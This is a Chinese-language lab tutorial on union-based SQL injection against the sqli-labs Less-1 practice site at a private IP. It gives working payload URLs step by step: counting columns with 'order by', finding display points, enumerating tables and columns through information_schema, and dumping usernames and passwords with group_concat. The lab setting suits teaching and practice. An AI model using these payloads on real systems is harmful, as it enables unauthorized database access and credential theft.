sql注入方式之联合注入

1.1 靶场环境

系统centos7 IP地址192.168.1.24

1.2 联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。

1.3 找注入点

找注入点,当输入id=1 and 1=2时没有变化,尝试单引号闭合找到注入类型

字符型注入,单引号闭合

1.4 判断字段数

使用order by 爆破字段数

复制代码
http://192.168.1.24/sqli-labs/Less-1/?id=-1' order by 3--+ 没有报错
http://192.168.1.24/sqli-labs/Less-1/?id=-1' order by 4--+ 报错

字段数为4

1.5 找回显点

复制代码
http://192.168.1.24/sqli-labs/Less-1/?id=-1' union select 1,2,3,4--+

爆出回显点2,3

1.6 爆数据库与数据库版本信息

开始信息收集(注意union前后格式要相同)

复制代码
?id=-1' union select 1,database(),version()--+
database():当前数据库名
version():数据库版本
user():数据库用户,用于判断是否有最高权限

爆数据库名以及数据库版本

1.7 爆数据表

复制代码
爆破表名
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

得到emails,referers,uagents,users数据表

1.8 爆users表中字段名

复制代码
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

得到这些字段名user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password

1.9 爆用户名及密码

复制代码
爆破字段内容
?id=-1' union select 1,2,(select group_concat(username,password)from users)--+

在 sql 注入时加入换行符

我们可以在每一个用户名:密码后面添加一个换行符。

HTML 中换行符用来表示,但是我们需要转换成十六进制 0x3C,0x68,0x72,0x2F,0x3E

ASCII 码表:ASCII_百度百科

将十六进制的换行符添加到 password 字段后,注:password 后面必须添加一个逗号

复制代码
http://192.168.1.24/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E),3 from users--+

可以看到每一行都是一个用户名:密码

相关推荐
The博宇3 分钟前
真实网络安全面试场景题
安全·web安全
群联云防护小杜5 小时前
如何解决DDoS导致服务器宕机?
网络·网络协议·安全·web安全·udp
黑客-秋凌5 小时前
【网络安全】浅谈IP溯源的原理及方法
网络·tcp/ip·web安全
是乙太呀5 小时前
php反序列化1_常见php序列化的CTF考题
开发语言·web安全·渗透测试·php·ctf·反序列化
肾透侧视攻城狮6 小时前
网络空间安全之一个WH的超前沿全栈技术深入学习之路(11)——实战之DNMAP 分布式集群执行大量扫描任务:就怕你学成黑客啦!
分布式·学习·安全·web安全·网络安全·安全威胁分析·可信计算技术
sky_feiyu14 小时前
HTTP超文本协议
网络·网络协议·web安全·http
44漏洞观察员16 小时前
windows实战-wordpress——玄机靶场
服务器·windows·web安全·网络安全·安全威胁分析
网络安全-老纪17 小时前
CHIMA网络安全攻防大赛经验分享
安全·web安全
网安墨雨17 小时前
网络安全笔记
网络·笔记·web安全
44漏洞观察员18 小时前
linux实战-黑链——玄机靶场
linux·运维·服务器·web安全·网络安全